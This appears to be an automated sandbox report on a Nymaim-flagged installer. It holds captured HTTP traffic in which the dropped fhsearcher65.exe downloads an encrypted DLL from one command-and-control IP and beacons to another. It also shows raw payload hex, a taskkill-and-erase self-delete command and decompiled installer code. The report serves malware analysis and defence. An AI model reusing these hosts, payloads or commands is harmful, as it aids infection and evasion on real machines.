1	192.168.2.6	49700	107.182.129.235	80	C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 14:17:18.609831095 CET	10	OUT	GET /storage/ping.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 0 Host: 107.182.129.235 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2022 14:17:18.634196043 CET	11	IN	HTTP/1.1 200 OK Date: Mon, 31 Oct 2022 13:17:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 17 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 55 77 55 6f 6f 6f 49 49 72 77 67 68 32 34 75 75 55 Data Ascii: UwUoooIIrwgh24uuU
Oct 31, 2022 14:17:18.654527903 CET	11	OUT	GET /storage/extension.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 107.182.129.235 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2022 14:17:18.678968906 CET	13	IN	HTTP/1.1 200 OK Date: Mon, 31 Oct 2022 13:17:18 GMT Server: Apache/2.4.41 (Ubuntu) Pragma: public Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Cache-Control: private Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Transfer-Encoding: binary Content-Length: 94224 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: f9 f1 a9 b8 8b 6d 69 b2 02 e6 7d 3b a6 18 dc 46 22 cd 29 c1 54 8d 11 27 4b 3b 1b ff ec e2 4f bb 59 30 3a cd fb c8 c6 19 33 6a e8 b1 5c 17 49 6a ea 32 52 c5 89 50 17 fc 06 dd 43 07 19 e2 71 a9 7c d1 32 a8 0e fe be ec b3 69 52 32 57 f5 46 e8 b4 ab 43 3d 4d 55 b9 a4 16 cb 8b 9e 85 48 36 99 ea f5 41 e4 94 1a 97 d3 d7 40 7f fa 4f a6 63 1a 89 89 4d 87 78 38 ce 94 d2 e4 b0 4c ae e0 2d 20 c9 88 ab 62 96 84 7c 12 43 b2 c0 e7 8e a4 5a 7d a5 77 d7 94 2e d1 6c 1a 61 cd 61 54 b4 87 c2 a5 62 72 2c 19 c8 18 36 77 23 06 6a c2 50 d9 8c 6c 69 f4 88 3d fc b4 ca 1b 0e c0 6f ac 1e b2 92 93 cf ee 53 e9 7b ab eb 52 94 a4 e6 e4 2e 94 d9 d2 35 d5 a0 15 92 ec a7 23 3b 93 d0 94 82 04 2d fb d3 f1 e8 62 2b 19 e3 8b 47 28 90 3e cb 02 51 05 b9 e0 f5 a5 69 4e 7b 90 2b 79 0c 1d d0 5a 43 e7 ae 7a 33 73 45 cd f0 ae fa 54 0d d3 32 df 4a 10 84 ce 33 bf 39 55 d6 34 26 f6 b2 50 d4 e5 c7 c7 cb d7 b0 e1 89 22 77 49 fa a4 b9 cb e0 40 cb c3 b5 ae da 78 25 3e 90 be 44 0e d5 80 27 7a 09 5e fb 01 d3 d4 5e 28 bc 07 0d a4 87 4e 43 ca 5b 5b 6b d9 0a ba c8 f0 ff 95 eb ca 9c d2 56 5d 47 f1 d2 29 65 0f 7f b4 94 bf 60 c5 c5 d4 ea b1 07 18 ee 4b 2f 4c d0 55 6c 12 19 46 1f 15 22 8a ed 38 24 16 41 64 ef fa aa e4 3a 69 b5 67 a6 f4 30 81 64 db 0f d8 5b 2e a9 cf 54 22 6c 90 55 c0 4d 00 3d 17 30 b1 b0 ef 2c de d9 2c e7 99 83 6b 75 d4 57 2c c3 d1 f7 f9 f3 37 60 51 cf 46 69 3d 77 13 f9 e3 75 f1 dc 3a 8f 97 51 2d ca 52 a0 7d 30 1c c8 eb ac 4c ba ad 82 8f bd 6e c9 0a 1c 74 a4 6e 76 c0 1f eb 06 07 7a c3 c0 18 0c 65 9e e8 49 c0 43 00 01 b3 b6 d2 39 bf 56 8c 7e 31 2b 5b 5d 06 cb 9f 37 f5 04 af 78 51 1d e7 a4 f8 12 02 f6 b0 06 24 81 4c 00 1c 6f e9 65 51 c7 86 2f c8 62 c9 82 f8 5a 96 0c e4 de c1 e4 70 5d 96 3b 69 2a 29 d1 a6 bd 96 23 b9 62 ef 14 f0 25 31 95 ea 11 0d 8c db bf ec f8 40 a0 17 82 47 ff e1 5b 02 97 d9 b7 9b a6 85 0d 2f 00 63 ca 8e 5a 19 f7 ea 08 d1 81 f4 47 95 3a 0f a1 6e 90 a8 45 d3 69 08 4f af 9c 6f af 55 1e 42 c9 50 78 d3 de b2 de 0b 31 7b 2c 61 10 da cf f3 f6 23 6b cd ad 64 6a be ed 4c 34 cc 0f d2 7d da 64 3c 95 14 a4 a8 d5 d9 49 79 79 c4 a0 4a a7 fb 66 ee 57 c4 10 2c 5e 76 56 da 41 6f d4 4b d4 22 2b 4f 58 38 21 46 a7 02 f1 59 50 8b ea bd f5 75 b6 2d e6 ed 42 69 6b eb a5 5b e2 75 05 9b c1 26 57 74 bc 84 50 af f4 7f 6d cf 00 10 8e 5e 20 c8 9a c9 6b 7e e2 01 2e a3 90 6c fe d3 6f a6 7a 4d 56 1c 21 73 2e ed b6 68 80 f0 c3 7b 0f 6e 32 3b 7a d7 d9 cc 4b db 04 3f 53 c5 93 f4 2d 96 0d f9 65 57 e0 e0 ac cf 63 dc fa f2 1b e6 2d 56 dd 62 67 ff ff 39 da 49 c5 05 67 ba 78 fa 67 cb b7 ba ef 7d c3 27 e6 35 d2 c0 28 2a 50 b3 e8 b7 93 c8 4a 23 97 18 3a b5 49 53 b4 08 44 7d 8e 76 8a 97 c3 09 ea 9d 15 6a 4b 39 03 4c 51 46 aa 0f 00 Data Ascii: mi};F")T'K;OY0:3j\Ij2RPCq\|2iR2WFC=MUH6A@OcMx8L- b\|CZ}w.laaTbr,6w#jPli=oS{R.5#;-b+G(>QiN{+yZCz3sET2J39U4&P"wI@x%>D'z^^(NC[[kV]G)e`K/LUlF"8$Ad:ig0d[.T"lUM=0,,kuW,7`QFi=wu:Q-R}0LntnvzeIC9V~1+[]7xQ$LoeQ/bZp];i)#b%1@G[/cZG:nEiOoUBPx1{,a#kdjL4}d<IyyJfW,^vVAoK"+OX8!FYPu-Bik[u&WtPm^ k~.lozMV!s.h{n2;zK?S-eWc-Vbg9Igxg}'5(PJ#:ISD}vjK9LQF
Oct 31, 2022 14:17:18.678997993 CET	14	IN	Data Raw: 6f 4f 68 56 80 cb c2 29 e2 a1 68 c5 76 5e 2d 04 d2 46 81 ff 08 3c 8f 84 16 ba bb 56 68 88 31 b9 c0 b3 d7 21 97 b1 05 21 8b c0 0f 42 59 63 04 9a 43 3f 8b f4 44 32 04 a3 b3 c2 c1 32 d5 4b 28 a2 a0 36 f6 19 9a 1b 42 d5 15 bd 92 44 90 aa 61 79 b9 b8 Data Ascii: oOhV)hv^-F<Vh1!!BYcC?D22K(6BDay=\|'[1~YB:/A`=FKqTw-blBC:>e5.jNK=ZGj:V.:gP~tm~ "A1jNR[PX~LgT%
Oct 31, 2022 14:17:18.679024935 CET	15	IN	Data Raw: 20 2f b2 fc fb 3b 22 62 e0 b2 2f c2 80 40 84 cb 02 1f 37 3d 0d 0c 1a 55 11 be 34 89 65 ce bc 3a 9c 5c 05 87 3d bb e8 1a 84 38 46 23 32 4d fc be ea 80 62 5b 19 72 10 35 1e b7 8a 98 4d a2 eb 87 6c 74 d4 1d e4 9d 35 68 f5 a9 e5 08 ea 2b 4d 6b 11 a1 Data Ascii: /;"b/@7=U4e:\=8F#2Mb[r5Mlt5h+Mk>eOk6wB!mMf@yHW0>GX\|2";J=MgPAqTW/j*qO}([=\|Dltn3)fF@}Mr
Oct 31, 2022 14:17:18.679049015 CET	16	IN	Data Raw: a7 85 09 11 e8 87 fa 45 9c 6e e3 22 3a 8b 3a 37 cb 18 c6 c9 0c 95 19 a5 fd b0 6a 49 fe 1b fe ae 5a 87 a0 39 48 bd 07 52 c2 4c a3 6c d5 9e 43 04 16 b3 be ff 0d 7e 75 6b 76 df 83 39 76 49 20 81 05 f4 44 2b 77 e4 4d b2 06 16 49 eb 4f 6e 06 26 32 98 Data Ascii: En"::7jIZ9HRLlC~ukv9vI D+wMIOn&2wSCi-Mxyi=&{32cT[\wc70#q6F=hbB4P\U8BOpw0IZdET,.k]N{S!d*$;q,
Oct 31, 2022 14:17:18.679073095 CET	18	IN	Data Raw: 4d 96 87 7f 63 be 6a e0 a7 12 2c 76 97 11 b2 61 1a 8c 52 86 70 00 11 79 15 ef 90 33 7a 8b 69 b8 d1 93 89 5d 20 a4 63 5d de 1c 51 fe 73 46 db 21 4d c9 ea f7 67 60 2f e1 a9 04 18 e8 c1 d7 b3 44 78 0e 75 21 3a 8b 07 a0 01 19 e6 77 51 13 23 87 dc 93 Data Ascii: Mcj,vaRpy3zi] c]QsF!Mg`/Dxu!:wQ#[Xs~w0)w(cU6@(R#a0Sj!P[N^/c&;<5`V(Tys6gMn ?.Vz]X6?hGynK;YVYK
Oct 31, 2022 14:17:18.679099083 CET	19	IN	Data Raw: 21 b9 4c 3c 58 1f 3e b0 46 f6 ca 4f d4 3b 5d 88 04 a1 eb 28 78 da b0 51 20 02 9f d0 8e b2 b6 6e de 77 3f 8e 24 81 58 61 dc f1 2f 50 d4 78 14 e3 ed 48 fd 34 28 b3 3c 8d c4 b1 fb b3 81 1a a3 cc 05 30 f2 1b f9 e2 ee 54 f2 cb e6 99 0e 52 e0 62 83 e1 Data Ascii: !L<X>FO;](xQ nw?$Xa/PxH4(<0TRbY\|/V)s8igrzEm<G_+/G.t#\|1;'Ui9yQYXP^^8]7_Y(*Mt%k+p.(zg
Oct 31, 2022 14:17:18.679126978 CET	21	IN	Data Raw: 68 3c a5 e0 8c 19 ff b7 b6 66 fd 50 d8 d9 59 25 6f 43 24 25 d2 09 74 d5 15 b3 3e 2c 54 69 50 e7 2e cc 3b db c1 ab f1 19 b7 ff f3 7e 50 4b 36 6e 85 9a 1e 0e d4 5d 9f a5 ae ce 78 88 33 b5 ca 41 3d a1 fd 67 c3 9e 53 a3 30 2c b4 41 90 66 8e 73 85 77 Data Ascii: h<fPY%oC$%t>,TiP.;~PK6n]x3A=gS0,Afswy\cCDw6m&g}fom?ZIhA/-'1D8$$@S9&h0a7lLl 9Wyu0
Oct 31, 2022 14:17:18.679155111 CET	22	IN	Data Raw: 24 ad 2e af 1c 5c fa b9 f9 cf 44 8d d0 e8 a4 24 09 87 fb a0 14 ac b1 57 7d 53 55 c3 8d 9b d7 93 44 32 17 30 78 13 2a 5a 0b e8 52 6e 89 17 ad ea 8f 4a 5f d2 cb 2f 97 d7 ed f3 95 a9 50 7f 49 f6 6f 84 95 c0 12 8d 28 dd a7 d0 4c 02 91 fe 7f 5a bd 70 Data Ascii: $.\D$W}SUD20x*ZRnJ_/PIo(LZp1+,j%MClj5NZ32Pu0'1b}V}JCC;H@mX`5Xgw[iag7X"G{K
Oct 31, 2022 14:17:18.679181099 CET	23	IN	Data Raw: d9 c8 d5 72 52 2b 1f a9 ce 14 25 d2 bc be a1 c8 e3 db 90 60 1d e7 64 da 5b 9b 91 87 b9 96 91 4c f6 68 b8 24 66 6d 17 12 16 9b ce c1 4d ad 21 e8 ac e7 91 d6 2b 8a 70 d8 07 6d f6 7c 51 aa ae 5c 46 a3 5b a8 63 78 5a 2f b7 91 d6 fb a1 2d a8 64 d9 d7 Data Ascii: rR+%`d[Lh$fmM!+pm\|Q\F[cxZ/-dIa_hYwOi@{c5$:u[x{'B4oXa\H_f$%^gZr~Q> F>!<}Nw^~a\"[T/B&
Oct 31, 2022 14:17:18.679207087 CET	25	IN	Data Raw: 20 4c ba 5f 6e 12 80 56 cf 7a 46 07 bc 39 50 89 7d 09 31 b0 10 e3 35 18 30 d6 9b 45 e7 53 0e 8b 5a 89 04 ed 1f 63 58 26 ed 05 56 f6 04 b0 4b 49 41 ec 72 6f 33 13 31 cb 04 d8 ae a2 60 68 7a 07 c2 58 2d 03 77 38 4e e5 40 a5 1d e8 35 b1 0b 06 8e e7 Data Ascii: L_nVzF9P}150ESZcX&VKIAro31`hzX-w8N@5Yf8w}-^)Eja.] )jKNb$Etb6k@+P/zksThrw^NWchEZX(E\8J9alG/Cm-Q95Q@J1_lHl
Oct 31, 2022 14:17:18.703057051 CET	26	IN	Data Raw: df 45 f8 57 13 1c bc db 95 00 23 48 83 a9 9d cc 72 58 44 3a 28 86 1f 1a ff f8 b0 74 76 a4 81 88 29 df fd 47 64 5f 13 3c 75 e5 f1 4c fe d9 14 bc 60 1b ac a3 1b 17 61 a9 b7 fa 7f c7 86 61 d6 5f f0 b1 f3 ff 55 3d 50 be ad 32 1d c1 19 a0 b5 56 32 5f Data Ascii: EW#HrXD:(tv)Gd_<uL`aa_U=P2V2_bFM{!wahJs m<'Js{>vB;C+M]5r4:kRP:OjQUFLDQKp+CNZ!cQ:*V

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49701	171.22.30.106	80	C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 14:17:18.930911064 CET	112	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2022 14:17:19.850228071 CET	112	IN	HTTP/1.1 200 OK Date: Mon, 31 Oct 2022 13:17:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 31, 2022 14:17:22.293817043 CET	113	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2022 14:17:22.864605904 CET	113	IN	HTTP/1.1 200 OK Date: Mon, 31 Oct 2022 13:17:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 31, 2022 14:17:24.959558964 CET	218	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2022 14:17:25.549472094 CET	242	IN	HTTP/1.1 200 OK Date: Mon, 31 Oct 2022 13:17:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 31, 2022 14:17:27.627589941 CET	243	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2022 14:17:28.144742012 CET	243	IN	HTTP/1.1 200 OK Date: Mon, 31 Oct 2022 13:17:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 31, 2022 14:17:30.315901041 CET	243	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2022 14:17:30.859983921 CET	244	IN	HTTP/1.1 200 OK Date: Mon, 31 Oct 2022 13:17:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 31, 2022 14:17:32.972939014 CET	244	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2022 14:17:33.528526068 CET	245	IN	HTTP/1.1 200 OK Date: Mon, 31 Oct 2022 13:17:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 31, 2022 14:17:35.677289009 CET	245	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2022 14:17:36.297446966 CET	245	IN	HTTP/1.1 200 OK Date: Mon, 31 Oct 2022 13:17:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 31, 2022 14:17:38.378695011 CET	246	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2022 14:17:38.959870100 CET	246	IN	HTTP/1.1 200 OK Date: Mon, 31 Oct 2022 13:17:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 31, 2022 14:17:41.138602018 CET	247	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2022 14:17:41.689835072 CET	247	IN	HTTP/1.1 200 OK Date: Mon, 31 Oct 2022 13:17:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 31, 2022 14:17:44.878555059 CET	248	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2022 14:17:45.458594084 CET	248	IN	HTTP/1.1 200 OK Date: Mon, 31 Oct 2022 13:17:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 31, 2022 14:17:47.558216095 CET	248	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2022 14:17:48.120137930 CET	249	IN	HTTP/1.1 200 OK Date: Mon, 31 Oct 2022 13:17:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 5504, Parent PID: 3452

General

Target ID:	0
Start time:	14:17:06
Start date:	31/10/2022
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x400000
File size:	2576538 bytes
MD5 hash:	BA5CB5CABBCEFB36996BD213B8C1D284
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: is-L5RJL.tmpPID: 5980, Parent PID: 5504

General

Target ID:	1
Start time:	14:17:06
Start date:	31/10/2022
Path:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp" /SL4 $2042C "C:\Users\user\Desktop\file.exe" 2325944 52736
Imagebase:	0x400000
File size:	673280 bytes
MD5 hash:	7CD12C54A9751CA6EEE6AB0C85FB68F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 8%, ReversingLabs Detection: 3%, Metadefender, Browse
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: fhsearcher65.exePID: 6124, Parent PID: 5980

General

Target ID:	2
Start time:	14:17:10
Start date:	31/10/2022
Path:	C:\Program Files (x86)\fhSearcher\fhsearcher65.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\fhSearcher\fhsearcher65.exe"
Imagebase:	0x400000
File size:	3809238 bytes
MD5 hash:	92872B286EA229891C32DECA72ACBBAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000002.00000002.339882305.0000000003770000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: qFUx6kqeb.exePID: 4368, Parent PID: 6124

General

Target ID:	3
Start time:	14:17:16
Start date:	31/10/2022
Path:	C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\qFUx6kqeb.exe
Wow64 process (32bit):	true
Commandline:
Imagebase:	0x9b0000
File size:	73728 bytes
MD5 hash:	3FB36CB0B7172E5298D2992D42984D06
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 38%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 784, Parent PID: 6124

General

Target ID:	13
Start time:	14:17:50
Start date:	31/10/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /im "fhsearcher65.exe" /f & erase "C:\Program Files (x86)\fhSearcher\fhsearcher65.exe" & exit
Imagebase:	0x1b0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4728, Parent PID: 784

General

Target ID:	14
Start time:	14:17:50
Start date:	31/10/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: taskkill.exePID: 4092, Parent PID: 784

General

Target ID:	15
Start time:	14:17:50
Start date:	31/10/2022
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /im "fhsearcher65.exe" /f
Imagebase:	0x12d0000
File size:	74752 bytes
MD5 hash:	15E2E0ACD891510C6268CB8899F2A1A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 5504, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	22.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.3%
Total number of Nodes:	1521
Total number of Limit Nodes:	20

Executed Functions

Function 0040980C Relevance: 7.6, APIs: 5, Instructions: 78
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040980C(void* __eax) {
				char _v44;
				struct _SYSTEM_INFO _v80;
				long _v84;
				long _t17;
				long _t20;
				int _t23;
				void* _t33;
				void* _t34;
				struct _MEMORY_BASIC_INFORMATION* _t35;
				void* _t36;
				DWORD* _t37;

				_t34 = __eax;
				_t35 =  &_v44;
				GetSystemInfo( &_v80); // executed
				_t17 = VirtualQuery(_t34, _t35, 0x1c);
				if(_t17 == 0) {
					L17:
					return _t17;
				} else {
					while(1) {
						_t17 = _t35->AllocationBase;
						if(_t17 != _t34) {
							goto L17;
						}
						if(_t35->State != 0x1000 || (_t35->Protect & 0x00000001) != 0) {
							L15:
							_t17 = VirtualQuery(_t35->BaseAddress + _t35->RegionSize, _t35, 0x1c);
							if(_t17 == 0) {
								goto L17;
							}
							continue;
						} else {
							_t33 = 0;
							_t20 = _t35->Protect;
							if(_t20 == 1 || _t20 == 2 || _t20 == 0x10 || _t20 == 0x20) {
								_t23 = VirtualProtect(_t35->BaseAddress, _t35->RegionSize, 0x40, _t37); // executed
								if(_t23 != 0) {
									_t33 = 1;
								}
							}
							_t36 = 0;
							while(_t36 < _t35->RegionSize) {
								E00409804(_t35->BaseAddress + _t36);
								_t36 = _t36 + _v80.dwPageSize;
							}
							if(_t33 != 0) {
								VirtualProtect( *_t35, _t35->RegionSize, _v84, _t37); // executed
							}
							goto L15;
						}
					}
					goto L17;
				}
			}

0x00409813
0x00409815
0x0040981e
0x00409829
0x00409830
0x004098c7
0x004098c7
0x00409836
0x004098b5
0x004098b5
0x004098ba
0x00000000
0x00000000
0x0040983f
0x004098a1
0x004098ac
0x004098b3
0x00000000
0x00000000
0x00000000
0x00409847
0x00409847
0x00409849
0x0040984f
0x0040986a
0x00409871
0x00409873
0x00409873
0x00409871
0x00409875
0x00409886
0x0040987d
0x00409882
0x00409882
0x0040988d
0x0040989c
0x0040989c
0x00000000
0x0040988d
0x0040983f
0x00000000
0x004098b5

APIs

GetSystemInfo.KERNEL32(?), ref: 0040981E
VirtualQuery.KERNEL32(00400000,?,0000001C,?), ref: 00409829
